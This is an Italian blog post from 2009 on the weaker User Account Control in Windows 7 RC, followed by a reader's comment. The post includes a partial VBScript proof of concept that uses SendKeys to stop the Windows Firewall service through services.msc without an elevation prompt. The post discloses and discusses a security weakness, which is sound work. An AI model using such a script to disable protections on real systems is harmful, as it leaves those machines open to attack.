Windows 7 UAC - Rivoglio Vista!!

Chi sì è abituato a usare utenti non amministrativi sul proprio PC (dai tempi di Windows 2000  mai preso un solo virus, guarda caso), ha salutato con grande gioia l'avvento di UAC con Vista.

Il grosso dell'utenza notoriamente non l'ha pensata nello stesso modo, pare

Francamente non capisco perchè nessuno si lamenta di sudo su Mac OS X e su Linux, che tra le altre non include un meccanismo di execution context basato su token, ma si limita ad eseguire l'applicazione come root, con relativa richiesta di password per il sudoer.

La risposta è semplice: è una questione culturale. Nessun utente Unix si sognerebbe di cazzeggiare sul web o leggere la posta loggato come root, ma tant'è, l'utente Windows a quanto pare pretende "Ovo, galina e cul caldo" (così almeno si dice da queste parti).

Windows 7 cerca di bilanciarsi e fornisce all'utente la scelta di vari livelli tra gli estremi "Martella zebedei stile Vista" e "Lasciami fare stile XP che poi me la prendo con l'antivirus".

Il risultato IMHO scontenterà tutti. mentre con Vista era tutto sommato possibile usare in sicurezza il PC con un utente amministratore (fidandosi ciecamente di UAC), ora non è più possibile. Lo UAC di Windows 7 è molto più blando anche in termini di security, ma questo l'utente di sicuro non lo sa.

Il rischio ora è che l'utente utilizzi un utente amministratore, "perchè tanto c'è UAC"!!

Se poi con un banale shatter attack è addirittura possibile disattivare UAC ("problemino" emerso ai tempi della prima beta): http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Venendo al punto di questo post, peggiora anche l'usabilità per i pochi masochisti che adorano UAC e per giunta utilizzano utenti non amministrativi (preferendo anche avere le terga parate da ACL & c.), in Windows 7 RC nel tentativo di accedere al Device Manager compare la seguente message box:

Da notare che i settangi di UAC sono a palla. Morale: come ai vecchi tempi di XP: da un command prompt amministrativo: devmgmt  e via. Stà a vedere che toccherà anche riciclare i runas su rundll32 per accedere alle applet del control panel.

La stessa cosa capita con altri snap in MMC (services.msc, etc).  Non sarebbe male se l'idea fosse stata quella di permettere una modalità "view only" per standard user, richiedendo la successiva elevazione per le modifiche, ma non è così.

Naturalmente questo non è solo un problema di usabilità, il problema serio è il (noto) rovescio della medaglia:

Eseguendo lo stesso snap-in da un prompt non elevato con utente amministratore (ad es.: via runas /u:pippo <command>), ecco che l'utente può fare macelli senza richiesta di elevazione.

Vero che lo può fare solo codice firmato MS, nelle directory sicure a marchiato per l'auto-elevation nel manifest o nel registry per gli oggetti COM (quindi ad es. devenv o net start <servizio> non funzia), ma basta qualche sendkeys per ottenere il risultato.

Addendum:

una semplice proof of concept, utilizzando VBScript (basato per giunta sul "famigerato" script di Rafael Rivera citato sopra, come farebbe un qualunque script kiddie :-) ).

Obiettivo: fermare il servizio Windows Firewall, tramine lo snap in "services.msc" con qualche SendKeys. Naturalmente l'utente deve essere membro di Administrators.

Disclaimer: Si tratta di una semplice proof of concept (ce ne fosse bisogno), don't try this at home! (o meglio, out of your own PC :-) ) 

 

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Apri Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Cerca il device manager
WshShell.SendKeys("services.msc")
WScript.Sleep(2000)

'// Primo risulato della lista
WshShell.SendKeys("{ENTER}")

WScript.Sleep(2000)

'// Windows Firewall
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("W")
WshShell.SendKeys("i")
WshShell.SendKeys("n")

**Righe rimosse di proposito (si sa mai che poi qualcuno reclami), completare la sequenza di caratteri *

WScript.Sleep(2000)

'// menu "Action" -> "Stop"
WshShell.SendKeys("%A")
WshShell.SendKeys("o")

Quando UAC era UAC queste cose non succedevano, anche se non aveva il proposito di essere easustivo! :-)

posted @ domenica 28 giugno 2009 21:06

Print

Comments on this entry:

# re: Windows 7 UAC - Rivoglio Vista!!

Left by Mauro Servienti at 29/06/2009 08:31
Gravatar
Quoto dal link che ti ho postato:
il problema non stava nel fatto che cambiare i setting di UAC non richiedesse nessun prompt ma che l’applet fosse pilotabile da altre applicazioni; individuato il problema (la pilotabilità) la soluzione è diventata ovvia: anziché usare il secure desktop basta aumentare il livello di integrità in cui l’applet gira per impedire che riceva messaggi dalle applicazioni desktop che girano sotto l’utenza normale.

Ho poi provato e nella mi installazione (RC7100x64) quell'applet del pannello di controllo non sta più in whitelist quindi UAC interviene a dovere.

Ho provato anche lo script e le SendKeys sulla management console non vanno. la management console si apre ma già il TAB viene ignorato.

.m
Comments have been closed on this topic.